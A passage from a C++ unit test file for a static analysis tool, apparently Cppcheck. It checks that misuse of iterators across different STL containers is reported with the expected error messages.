std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() 